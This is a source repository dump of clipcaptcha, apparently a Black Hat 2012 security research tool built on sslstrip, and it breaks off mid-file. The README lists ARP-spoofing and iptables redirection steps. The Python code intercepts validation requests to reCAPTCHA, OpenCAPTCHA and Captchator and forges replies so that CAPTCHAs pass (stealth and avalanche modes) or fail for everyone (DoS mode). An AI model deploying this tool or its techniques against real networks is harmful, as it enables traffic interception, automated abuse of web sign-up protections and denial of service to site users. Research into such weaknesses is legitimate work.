├── COPYING ├── README ├── README.md ├── clipcaptcha-Blackhat-USA-2012.pdf ├── clipcaptcha.log ├── clipcaptcha.py ├── clipcaptcha ├── ClientRequest.py ├── DnsCache.py ├── Mode.py ├── ProviderInfo.py ├── SSLServerConnection.py ├── ServerConnection.py ├── ServerConnectionFactory.py ├── StrippingProxy.py ├── URLMonitor.py └── __init__.py ├── config.xml └── template.xml /COPYING: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | Author: Gursev Singh Kalra (gursev.kalra@foundstone.com - McAfee, Foundstone) 2 | clipcaptcha is an extensible and signature based CAPTCHA Provider impersonation tool based off Moxie Marlinspike's sslstrip codebase. 3 | 4 | For additional information please visit: http://www.foundstone.com and http://blog.opensecurityresearch.com 5 | 6 | It requires Python 2.5 or newer, along with the 'twisted' python module. 7 | 8 | Running clipcaptcha: 9 | Run 'python clipcaptcha.py -h' for help. 10 | 11 | The four steps to getting this working on Linux are: 12 | 13 | 1. Enable forwarding mode on your machine 14 | echo "1" > /proc/sys/net/ipv4/ip_forward 15 | 16 | 2. Setup iptables to redirect HTTP traffic to clipcaptcha. 17 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 18 | 19 | 3. Run arpspoof to redirect the traffic to your machine. 20 | arpspoof -i -t 21 | 22 | 4. Run clipcaptcha in one of its mode of operation. 23 | clipcaptcha.py -p 24 | 25 | clipcaptcha can be run in one of the following five operational modes and selecting 26 | more than one operation mode is an error: 27 | a. Monitor Mode: Signature based CAPTCHA provider detection is performed 28 | and all CAPTCHA validation requests are logged to a local file. The CAPTCHA 29 | validation requests and corresponding responses are allowed to complete without 30 | any modifications. 31 | b. Avalanche Mode: Success response is returned on the matching CAPTCHA provider 32 | for all validation requests. It is recommended to not run clipcaptcha in this 33 | mode as a surge in successful account creation or registrations may be detected. 34 | c. Stealth Mode: Stealth is the recommended mode for running clipcaptcha. This 35 | mode relies on the fact that all CAPTCHA validation API.s need to send user 36 | supplied CAPTCHA solution to the CAPTCHA providers for validation. 37 | clipcaptcha banks on this behavior to operate stealthily and return Success 38 | status only for the requests that contain a secret string. In its current 39 | implementation, clipcaptcha parses the entire CAPTCHA validation request 40 | (initial line, headers and body) and returns success if the secret string is 41 | found or allows the request to complete without any modifications. 42 | d. DoS Mode: Failure response is returned for all CAPTCHA validation requests. 43 | This leads to a Denial of Service condition on the target web application 44 | for all forms that require CAPTCHA validation. 45 | e. Random Mode: Random Success and Failure responses are returned as per the 46 | matching CAPTCHA provider for all validation requests and exits only 47 | as a teaser mode. 48 | 49 | Once clipcaptcha instance starts running, all CAPTCHA validation requests will be 50 | administered by clipcaptcha. 51 | 52 | Signature based CAPTCHA provider detection: 53 | All CAPTCHA providers are basically HTTP based custom web services. These services accept 54 | CAPTCHA validation requests in a particular format and respond with finite set of 55 | responses that allow the clients to make Boolean choices to allow or disallow the request. 56 | clipcaptcha takes advantage of this finite and predictable request and response data set 57 | to implement signature based request detection and response system. For additional details 58 | please refer clipcaptcha whitepaper. 59 | 60 | The default configuration contains signatures for reCAPTCHA, opencaptcha and captchator. 61 | 62 | 63 | Example runs: 64 | clipcaptcha.py -m -p 7777 # Run clipcaptcha in monitor mode listening on port 7777. 65 | 66 | clipcaptcha.py -a -p 8888 # Run clipcaptcha in avalanche mode and approve all CAPTCHAs 67 | # for which signatures are available) 68 | 69 | clipcaptcha.py -s clipcaptcha # Run clipcaptcha in stealth mode and approve all CAPTCHA 70 | # requests which contain the secret string "clipcaptcha" 71 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | clipcaptcha 2 | =========== 3 | 4 | A Tool for Impersonating CAPTCHA Providers 5 | 6 | **Author**: Gursev Singh Kalra (gursev.kalra@foundstone.com - McAfee, Foundstone) 7 | 8 | **clipcaptcha** is an extensible and signature based CAPTCHA Provider impersonation tool based off Moxie Marlinspike's sslstrip codebase. For additional information please visit: http://www.foundstone.com and http://blog.opensecurityresearch.com 9 | 10 | It requires Python 2.5 or newer, along with the 'twisted' python module. 11 | 12 | **Running clipcaptcha**: 13 | 14 | Run 'python clipcaptcha.py -h' for help. 15 | 16 | The four steps to getting this working on Linux are: 17 | 18 | 1. Enable forwarding mode on your machine 19 | echo "1" > /proc/sys/net/ipv4/ip_forward 20 | 21 | 2. Setup iptables to redirect HTTP traffic to clipcaptcha. 22 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 23 | 24 | 3. Run arpspoof to redirect the traffic to your machine. 25 | arpspoof -i -t 26 | 27 | 4. Run clipcaptcha in one of its mode of operation. 28 | clipcaptcha.py -p 29 | 30 | clipcaptcha can be run in one of the following five operational modes and selecting 31 | more than one operation mode is an error: 32 | a. Monitor Mode: Signature based CAPTCHA provider detection is performed 33 | and all CAPTCHA validation requests are logged to a local file. The CAPTCHA 34 | validation requests and corresponding responses are allowed to complete without 35 | any modifications. 36 | b. Avalanche Mode: Success response is returned on the matching CAPTCHA provider 37 | for all validation requests. It is recommended to not run clipcaptcha in this 38 | mode as a surge in successful account creation or registrations may be detected. 39 | c. Stealth Mode: Stealth is the recommended mode for running clipcaptcha. This 40 | mode relies on the fact that all CAPTCHA validation API.s need to send user 41 | supplied CAPTCHA solution to the CAPTCHA providers for validation. 42 | clipcaptcha banks on this behavior to operate stealthily and return Success 43 | status only for the requests that contain a secret string. In its current 44 | implementation, clipcaptcha parses the entire CAPTCHA validation request 45 | (initial line, headers and body) and returns success if the secret string is 46 | found or allows the request to complete without any modifications. 47 | d. DoS Mode: Failure response is returned for all CAPTCHA validation requests. 48 | This leads to a Denial of Service condition on the target web application 49 | for all forms that require CAPTCHA validation. 50 | e. Random Mode: Random Success and Failure responses are returned as per the 51 | matching CAPTCHA provider for all validation requests and exits only 52 | as a teaser mode. 53 | 54 | Once clipcaptcha instance starts running, all CAPTCHA validation requests will be 55 | administered by clipcaptcha. 56 | 57 | **Signature based CAPTCHA provider detection**: 58 | 59 | All CAPTCHA providers are basically HTTP based custom web services. These services accept CAPTCHA validation requests in a particular format and respond with finite set of responses that allow the clients to make Boolean choices to allow or disallow the request. clipcaptcha takes advantage of this finite and predictable request and response data set to implement signature based request detection and response system. For additional details please refer clipcaptcha whitepaper. The default configuration contains signatures for reCAPTCHA, opencaptcha and captchator. 60 | 61 | 62 | Example runs: 63 | clipcaptcha.py -m -p 7777 # Run clipcaptcha in monitor mode listening on port 7777. 64 | 65 | clipcaptcha.py -a -p 8888 # Run clipcaptcha in avalanche mode and approve all CAPTCHAs 66 | # for which signatures are available) 67 | 68 | clipcaptcha.py -s clipcaptcha # Run clipcaptcha in stealth mode and approve all CAPTCHA 69 | # requests which contain the secret string "clipcaptcha" 70 | -------------------------------------------------------------------------------- /clipcaptcha-Blackhat-USA-2012.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenSecurityResearch/clipcaptcha/e42859349a0662ff8331fbdf87c07402f49288c0/clipcaptcha-Blackhat-USA-2012.pdf -------------------------------------------------------------------------------- /clipcaptcha.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OpenSecurityResearch/clipcaptcha/e42859349a0662ff8331fbdf87c07402f49288c0/clipcaptcha.log -------------------------------------------------------------------------------- /clipcaptcha.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """clipcaptcha is a CAPTCHA Provider masquerading tool based off Moxie Marlinspike's SSLStrip codebase""" 3 | # Copyright (c) 2012 Gursev Singh Kalra @ McAfee Foundstone 4 | # Copyright (c) 2004-2011 Moxie Marlinspike 5 | 6 | __author__ = "Gursev Singh Kalra" 7 | __email__ = "gursev.kalra@foundstone.com" 8 | __license__= """ 9 | This program is free software; you can redistribute it and/or 10 | modify it under the terms of the GNU General Public License as 11 | published by the Free Software Foundation; either version 3 of the 12 | License, or (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, but 15 | WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 17 | General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program; if not, write to the Free Software 21 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 22 | USA 23 | """ 24 | 25 | from twisted.web import http 26 | from twisted.internet import reactor 27 | 28 | from clipcaptcha.StrippingProxy import StrippingProxy 29 | from clipcaptcha.URLMonitor import URLMonitor 30 | from clipcaptcha.ProviderInfo import ProviderInfo 31 | from clipcaptcha.Mode import Mode 32 | from clipcaptcha.ClientRequest import ClientRequest 33 | 34 | import sys, getopt, logging, traceback, string, os 35 | 36 | gVersion = "0.1" 37 | 38 | def usage(): 39 | print "=>> clipcaptcha " + gVersion + " by Gursev Singh Kalra" 40 | print "Usage: clipcaptcha " 41 | print "Modes(choose one):" 42 | print "\t-m , --monitor Listen and log. No changes made (default)" 43 | print "\t-a , --avalanche Return success for all CAPTCHA validations" 44 | print "\t-s , --stealth Stealth mode with secret string to approve our own submissions" 45 | print "\t-d , --dos Return failure for all CAPTCHA validations" 46 | print "\t-r , --random Return random success or failures for CAPTCHA validations" 47 | print "Options:" 48 | print "\t-c , --config= clipcaptcha Config file with CAPTCHA provider signatures (optional)" 49 | print "\t-p , --port= Port to listen on (default 7777)." 50 | print "\t-f , --file= Specify file to log to (default clipcaptcha.log)." 51 | print "\t-l , --list List CAPTCHA providers available" 52 | print "\t-h , --help Print this help message." 53 | print "" 54 | # print "-p , --post Log only SSL POSTs. (default)" 55 | # print "-s , --ssl Log all SSL traffic to and from server." 56 | # print "-a , --all Log all SSL and HTTP traffic to and from server." 57 | # print "-k , --killsessions Kill sessions in progress." 58 | 59 | def pickProvidersToClip(): 60 | providers = ProviderInfo.getProviders() 61 | pIndexes = [] 62 | providersToClip = [] 63 | print "[+] Available CAPTCHA Providers =>" 64 | i = 0 65 | for provider in providers: 66 | print "\t" + str(i) + ": \t" + provider.name 67 | i = i+1 68 | indexes = raw_input("[?] Choose CAPTCHA Providers by typing space separated indexes below or press enter to clip all : ") 69 | indexes = indexes.split() 70 | for i in indexes: 71 | try: 72 | idx = int(i) 73 | if(idx > len(providers) - 1 or idx < 0): 74 | print "[-] Indexes must represent a valid CAPTCHA provider. Exiting!" 75 | sys.exit() 76 | pIndexes.append(idx) 77 | except ValueError: 78 | print "[-] Indexes must be integers. Exiting!" 79 | sys.exit() 80 | pIndexes = list(set(pIndexes)) 81 | pIndexes.sort() 82 | for i in pIndexes: 83 | providersToClip.append(providers[i]) 84 | if(len(providersToClip) == 0): 85 | return providers 86 | 87 | return providersToClip 88 | 89 | 90 | def parseOptions(argv): 91 | modes = 0 92 | logFile = 'clipcaptcha.log' 93 | logLevel = logging.WARNING 94 | listenPort = 7777 95 | killSessions = False 96 | operationMode = Mode.MONITOR 97 | providersToClip = [] 98 | runningMode = "" 99 | 100 | 101 | secretString = None 102 | listProviders = False 103 | configFile = "config.xml" 104 | 105 | 106 | try: 107 | #Parse the arguments and store the options in opts. args basically gets ignored. 108 | # the ':' indicates that the option expects an argument to be passed. 109 | opts, args = getopt.getopt(argv, "s:amdrf:p:lhc:", ["secret=", "monitor", "avalanche", "dos", "random", "file=", "port=", "list", "help", "config="]) 110 | 111 | # go over each option, store individual options in opt and arg. Then go through the ifelse structure and initialize various options. 112 | for opt, arg in opts: 113 | if opt in ("-h", "--help"): 114 | usage() 115 | sys.exit() 116 | elif opt in ("-m", "--monitor"): 117 | operationMode = Mode.MONITOR 118 | runningMode = "Monitor" 119 | modes = modes + 1 120 | elif opt in ("-a", "--avalanche"): 121 | operationMode = Mode.AVALANCHE 122 | runningMode = "Avalanche" 123 | modes = modes + 1 124 | elif opt in ("-s", "--stealth"): 125 | secretString = arg 126 | operationMode = Mode.STEALTH 127 | runningMode = "Stealth" 128 | modes = modes + 1 129 | elif opt in ("-d", "--dos"): 130 | operationMode = Mode.DOS 131 | runningMode = "DoS" 132 | modes = modes + 1 133 | elif opt in ("-r", "--random"): 134 | operationMode = Mode.RANDOM 135 | runningMode = "Random" 136 | modes = modes + 1 137 | elif opt in ("-c", "--config"): 138 | configFile = arg 139 | elif opt in ("-f", "--file"): 140 | logFile = arg 141 | elif opt in ("-p", "--port"): 142 | listenPort = arg 143 | elif opt in ("-l", "--list"): 144 | listProviders = True 145 | # elif opt in ("-p", "--post"): 146 | # logLevel = logging.WARNING 147 | # elif opt in ("-s", "--ssl"): 148 | # logLevel = logging.INFO 149 | # elif opt in ("-a", "--all"): 150 | # logLevel = logging.DEBUG 151 | # elif opt in ("-k", "--killsessions"): 152 | # killSessions = True 153 | 154 | if(modes > 1): 155 | print "[-] Choose only one mode." 156 | print "" 157 | usage() 158 | sys.exit() 159 | 160 | if(modes < 1): 161 | print "[+] No mode selected. Defaulting to Monitor mode " 162 | runningMode = "Monitor" 163 | 164 | ProviderInfo.initProviders(configFile) 165 | 166 | if(listProviders == True): 167 | providers = ProviderInfo.getProviders() 168 | print "Available CAPTCHA Providers:" 169 | i = 0 170 | for provider in providers: 171 | print "\n\n######################################################################" 172 | print "\t" + str(i) + ": \t" + provider.name 173 | #print provider.hostname 174 | #print provider.path 175 | #print "============================ success ==" 176 | #print provider.sCode 177 | #print provider.sCodeStr 178 | #print provider.sHeaders 179 | #print provider.sBody 180 | #print "============================ failure ==" 181 | #print provider.fCode 182 | #print provider.fCodeStr 183 | #print provider.fHeaders 184 | #print provider.fBody 185 | i = i+1 186 | sys.exit() 187 | 188 | providersToClip = pickProvidersToClip() 189 | 190 | 191 | clippedNames = [] 192 | for p in providersToClip: 193 | clippedNames.append(p.name) 194 | clipped = ", ".join(clippedNames) 195 | print "[+] Cool, I am clipping these CAPTHA providers => "+ clipped 196 | print "[+] Running in " + runningMode + " mode" 197 | 198 | #return all options 199 | return (logFile, logLevel, listenPort, killSessions, secretString, operationMode, providersToClip) 200 | 201 | #Catch the exception, show usage and exit 202 | except getopt.GetoptError: 203 | usage() 204 | sys.exit(2) 205 | 206 | def main(argv): 207 | (logFile, logLevel, listenPort, killSessions, secretString, operationMode, providersToClip) = parseOptions(argv) 208 | 209 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', filename=logFile, filemode='w') 210 | 211 | ClientRequest.setProvidersToClip(providersToClip) 212 | ClientRequest.setOperationModeAndSecret(operationMode, secretString) 213 | 214 | 215 | strippingFactory = http.HTTPFactory(timeout=10) 216 | strippingFactory.protocol = StrippingProxy 217 | 218 | reactor.listenTCP(int(listenPort), strippingFactory) 219 | reactor.run() 220 | 221 | if __name__ == '__main__': 222 | main(sys.argv[1:]) 223 | -------------------------------------------------------------------------------- /clipcaptcha/ClientRequest.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2012 Gursev Singh Kalra McAfee, Foundstone 2 | # Copyright (c) 2004-2011 Moxie Marlinspike 3 | # 4 | # This program is free software; you can redistribute it and/or 5 | # modify it under the terms of the GNU General Public License as 6 | # published by the Free Software Foundation; either version 3 of the 7 | # License, or (at your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, but 10 | # WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 12 | # General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with this program; if not, write to the Free Software 16 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 17 | # USA 18 | # 19 | 20 | #these imports from libraries 21 | import urlparse, logging, os, sys, random 22 | import random 23 | 24 | from twisted.web.http import Request 25 | from twisted.web.http import HTTPChannel 26 | from twisted.web.http import HTTPClient 27 | 28 | from twisted.internet import ssl 29 | from twisted.internet import defer 30 | from twisted.internet import reactor 31 | from twisted.internet.protocol import ClientFactory 32 | 33 | #these imports are from custome classes 34 | from ServerConnectionFactory import ServerConnectionFactory 35 | from ServerConnection import ServerConnection 36 | from SSLServerConnection import SSLServerConnection 37 | 38 | from URLMonitor import URLMonitor 39 | from DnsCache import DnsCache 40 | from ProviderInfo import ProviderInfo 41 | from clipcaptcha.Mode import Mode 42 | 43 | 44 | class ClientRequest(Request): 45 | 46 | 47 | providersToClip = None 48 | operationMode = Mode.MONITOR 49 | secret = "clipcaptcha" 50 | 51 | @staticmethod 52 | def setProvidersToClip(providers): 53 | ClientRequest.providersToClip = providers 54 | 55 | 56 | @staticmethod 57 | def setOperationModeAndSecret(mode, secret): 58 | ClientRequest.operationMode = mode 59 | ClientRequest.secret = secret 60 | 61 | def __init__(self, channel, queued, reactor=reactor): 62 | Request.__init__(self, channel, queued) 63 | self.reactor = reactor 64 | self.urlMonitor = URLMonitor.getInstance() 65 | self.dnsCache = DnsCache.getInstance() 66 | 67 | def findProvider(self, host, path): 68 | for provider in ClientRequest.providersToClip: 69 | #print provider.name 70 | if((provider.hostname == host) and (path.find(provider.path) != -1)): 71 | return provider 72 | return None 73 | 74 | 75 | def getPathFromUri(self): 76 | if (self.uri.find("http://") == 0): 77 | index = self.uri.find('/', 7) 78 | return self.uri[index:] 79 | 80 | return self.uri 81 | 82 | 83 | def secretFound(self, path, headers, postData): 84 | secret = ClientRequest.secret 85 | if(path.find(secret) != -1): 86 | return True 87 | 88 | if(postData.find(secret) != -1): 89 | return True 90 | 91 | for key in headers.keys(): 92 | if(key.find(secret) != -1): 93 | return True 94 | for value in headers.values(): 95 | if(value.find(secret) != -1): 96 | return True 97 | 98 | return False 99 | 100 | def getAndPostArgs(self): 101 | 102 | self.content.read() 103 | return self.content.read() + self.getPathFromUri() 104 | 105 | def obtainHeaders(self): 106 | headers = self.getAllHeaders().copy() 107 | return headers 108 | 109 | 110 | def handleHostResolvedSuccess(self, address): 111 | logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host'), address)) 112 | host = self.getHeader("host") 113 | client = self.getClientIP() 114 | path = self.getPathFromUri() 115 | headers = self.obtainHeaders() 116 | 117 | 118 | self.content.seek(0,0) 119 | postData = self.content.read() 120 | url = 'http://' + host + path 121 | clipCaptcha = False 122 | 123 | self.dnsCache.cacheResolution(host, address) 124 | 125 | # All clipcaptcha magic comes here where CAPTCHA verification requests are analyzed and results returned 126 | 127 | # this if condition is NRQ (Not Required) 128 | captchaProvider = self.findProvider(host, path) 129 | #TODO : if the mode is stealth mode, all the CAPTCHAs that do not contain the bypassString should be sent forward 130 | if(ClientRequest.operationMode != Mode.MONITOR): 131 | if(captchaProvider != None): 132 | if(ClientRequest.operationMode == Mode.AVALANCHE or ClientRequest.operationMode == Mode.DOS or ClientRequest.operationMode == Mode.RANDOM): 133 | clipCaptcha = True 134 | if(clipCaptcha == False): 135 | #body = getBody() 136 | #if(secretFound(path, headers, body)): 137 | if(self.secretFound(path, headers, postData)): 138 | clipCaptcha = True 139 | else: 140 | clipCaptcha = False 141 | 142 | 143 | 144 | if(clipCaptcha): 145 | logging.debug("Clipping the CAPTCHA for " + captchaProvider.name) 146 | self.clipTheCAPTCHA(captchaProvider) 147 | 148 | # this if condition might be required to allow all traffic to go through as is 149 | elif (self.urlMonitor.isSecureLink(client, url)): 150 | logging.debug("Sending request via SSL...") 151 | self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) 152 | else: 153 | logging.debug("Sending request via HTTP...") 154 | self.proxyViaHTTP(address, self.method, path, postData, headers) 155 | 156 | 157 | def clipTheCAPTCHA(self, captchaProvider): 158 | mode = ClientRequest.operationMode 159 | if(mode == Mode.AVALANCHE or mode == Mode.STEALTH): 160 | #return true 161 | self.setResponseCode(captchaProvider.sCode, captchaProvider.sCodeStr) 162 | for hdr in captchaProvider.sHeaders: 163 | self.setHeader(hdr, captchaProvider.sHeaders[hdr]) 164 | self.write(captchaProvider.sBody) 165 | elif(mode == Mode.DOS): 166 | #return false 167 | self.setResponseCode(captchaProvider.fCode, captchaProvider.fCodeStr) 168 | for hdr in captchaProvider.fHeaders: 169 | self.setHeader(hdr, captchaProvider.fHeaders[hdr]) 170 | self.write(captchaProvider.fBody) 171 | elif(mode == Mode.RANDOM): 172 | r = random.randint(0,1) 173 | if(r == 0): 174 | self.setResponseCode(captchaProvider.sCode, captchaProvider.sCodeStr) 175 | for hdr in captchaProvider.sHeaders: 176 | self.setHeader(hdr, captchaProvider.sHeaders[hdr]) 177 | self.write(captchaProvider.sBody) 178 | else: 179 | self.setResponseCode(captchaProvider.fCode, captchaProvider.fCodeStr) 180 | for hdr in captchaProvider.fHeaders: 181 | self.setHeader(hdr, captchaProvider.fHeaders[hdr]) 182 | self.write(captchaProvider.fBody) 183 | 184 | self.finish() 185 | 186 | def handleHostResolvedError(self, error): 187 | logging.warning("Host resolution error: " + str(error)) 188 | self.finish() 189 | 190 | def resolveHost(self, host): 191 | address = self.dnsCache.getCachedAddress(host) 192 | 193 | if address != None: 194 | logging.debug("Host cached.") 195 | return defer.succeed(address) 196 | else: 197 | logging.debug("Host not cached.") 198 | return reactor.resolve(host) 199 | 200 | def process(self): 201 | logging.debug("Resolving host: %s" % (self.getHeader('host'))) 202 | host = self.getHeader('host') 203 | deferred = self.resolveHost(host) 204 | 205 | deferred.addCallback(self.handleHostResolvedSuccess) 206 | deferred.addErrback(self.handleHostResolvedError) 207 | 208 | def proxyViaHTTP(self, host, method, path, postData, headers): 209 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 210 | connectionFactory.protocol = ServerConnection 211 | self.reactor.connectTCP(host, 80, connectionFactory) 212 | 213 | def proxyViaSSL(self, host, method, path, postData, headers, port): 214 | clientContextFactory = ssl.ClientContextFactory() 215 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 216 | connectionFactory.protocol = SSLServerConnection 217 | self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) 218 | 219 | -------------------------------------------------------------------------------- /clipcaptcha/DnsCache.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | 3 | class DnsCache: 4 | 5 | _instance = None 6 | 7 | # initialize the cache instance variable to empty hash 8 | def __init__(self): 9 | self.cache = {} 10 | 11 | # Add a new record to dns cache 12 | def cacheResolution(self, host, address): 13 | self.cache[host] = address 14 | 15 | # return a cached address or 'None' if NONE IS PRESENT 16 | def getCachedAddress(self, host): 17 | if host in self.cache: 18 | return self.cache[host] 19 | 20 | return None 21 | 22 | # If the DnsCache._instance does not exist, create a new DnsCache and return that 23 | # If it exists, return the existing instance 24 | def getInstance(): 25 | if DnsCache._instance == None: 26 | DnsCache._instance = DnsCache() 27 | 28 | return DnsCache._instance 29 | 30 | getInstance = staticmethod(getInstance) 31 | -------------------------------------------------------------------------------- /clipcaptcha/Mode.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2012 Gursev Singh Kalra McAfee, Foundstone 2 | 3 | class Mode: 4 | MONITOR=0 5 | AVALANCHE=1 6 | STEALTH=2 7 | DOS=3 8 | RANDOM=4 9 | -------------------------------------------------------------------------------- /clipcaptcha/ProviderInfo.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2012 Gursev Singh Kalra McAfee, Foundstone 2 | # 3 | # This class contains information for all CAPTCHA providers that this tool targets 4 | 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License as 7 | # published by the Free Software Foundation; either version 3 of the 8 | # License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, but 11 | # WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | # General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program; if not, write to the Free Software 17 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 18 | # USA 19 | # 20 | 21 | 22 | import sys 23 | from xml.etree.ElementTree import ElementTree 24 | 25 | class ProviderInfo: 26 | _bypassString = None 27 | _providers = [] 28 | 29 | def __init__(self, name, hostname, path): 30 | self.name = name 31 | self.hostname = hostname 32 | self.path = path 33 | 34 | @staticmethod 35 | def exxit(msg): 36 | print msg 37 | sys.exit() 38 | 39 | def addSuccessFailure(self, responseType, sOrF): 40 | responseType = responseType[0] 41 | rcode = responseType.findall("rcode") 42 | rcodestr = responseType.findall("rcodestr") 43 | if(len(rcode) == 0 or len(rcodestr) == 0): 44 | ProviderInfo.exxit("[-] Success response codes not found for a CAPTCHA provider. Exiting") 45 | rcode = rcode[0] 46 | rcodestr = rcodestr[0] 47 | 48 | if(rcode.text == None or rcode.text.strip() == ''or rcodestr.text == None or rcodestr.text.strip() == ''): 49 | ProviderInfo.exxit("[-] Invalid rcode or rcodestr elements. Exiting") 50 | 51 | rbody = responseType.findall("rbody") 52 | if(len(rbody) == 0): 53 | rbody = '' 54 | else: 55 | rbody = rbody[0] 56 | if(rbody.text == None): 57 | rbody = '' 58 | else: 59 | rbody = rbody.text.strip() 60 | rbody = rbody.replace("\\n","\n") 61 | 62 | rheaders = responseType.findall("rheaders") 63 | headerDict = {} 64 | if(len(rheaders) != 0): 65 | rheaders = rheaders[0] 66 | headers = rheaders.findall("header") 67 | for header in headers: 68 | name = header.findall("name") 69 | value = header.findall("value") 70 | if(len(name) !=0 and len(value) != 0 and name[0].text != None and name[0].text.strip() != '' and value[0].text != None and value[0].text.strip() != '' ): 71 | headerDict[name[0].text.strip()] = value[0].text.strip() 72 | try: 73 | if(sOrF == "success"): 74 | self.setSuccessResp(int(rcode.text.strip()), rcodestr.text.strip(), headerDict, rbody) 75 | elif(sOrF == "failure"): 76 | self.setFailureResp(int(rcode.text.strip()), rcodestr.text.strip(), headerDict, rbody) 77 | except ValueError: 78 | ProviderInfo.exxit("[-] Invalid Response code in config XML") 79 | 80 | def setSuccessResp(self, sCode, sCodeStr, sHeaders, sBody): 81 | self.sCode = sCode 82 | self.sCodeStr = sCodeStr 83 | self.sHeaders = sHeaders 84 | self.sBody = sBody 85 | 86 | def setFailureResp(self, fCode, fCodeStr, fHeaders, fBody): 87 | self.fCode = fCode 88 | self.fCodeStr = fCodeStr 89 | self.fHeaders = fHeaders 90 | self.fBody = fBody 91 | 92 | @staticmethod 93 | def getProviders(): 94 | return ProviderInfo._providers 95 | 96 | @staticmethod 97 | def setBypassString(bypass): 98 | ProviderInfo._bypassString = bypass 99 | 100 | @staticmethod 101 | def getBypassString(): 102 | return ProviderInfo._bypassString 103 | 104 | @staticmethod 105 | def initProviders(configFile = "config.xml"): 106 | if(configFile == None): 107 | temp = ProviderInfo('reCAPTCHA', 'www.google.com', '/recaptcha/api/verify') 108 | temp.setSuccessResp(200, "OK", {}, "true") 109 | temp.setFailureResp(200, "OK", {}, "false\nincorrect-captcha-sol") 110 | ProviderInfo._providers.append(temp) 111 | 112 | temp = ProviderInfo('OpenCAPTCHA', 'www.opencaptcha.com', '/validate.php') 113 | temp.setSuccessResp(200, "OK", {}, "pass") 114 | temp.setFailureResp(200, "OK", {}, "fail") 115 | ProviderInfo._providers.append(temp) 116 | 117 | temp = ProviderInfo('Captchator', 'captchator.com', '/captcha/check_answer/') 118 | temp.setSuccessResp(200, "OK", {}, "1") 119 | temp.setFailureResp(200, "OK", {}, "0") 120 | ProviderInfo._providers.append(temp) 121 | 122 | else: 123 | try: 124 | with open(configFile) as f: pass 125 | except IOError as e: 126 | ProviderInfo.exxit("[-] Configuration file not found. Exiting") 127 | 128 | tree = ElementTree() 129 | tree.parse(configFile) 130 | 131 | 132 | providers = tree.findall("provider") 133 | if( len(providers) == 0): 134 | ProviderInfo.exxit("[-] No CAPTCHA providers found in config file") 135 | 136 | for provider in providers: 137 | name = provider.findall("name") 138 | hostname = provider.findall("hostname") 139 | path = provider.findall("path") 140 | success = provider.findall("success") 141 | failure = provider.findall("failure") 142 | 143 | if(len(name) == 0 or len(hostname) == 0 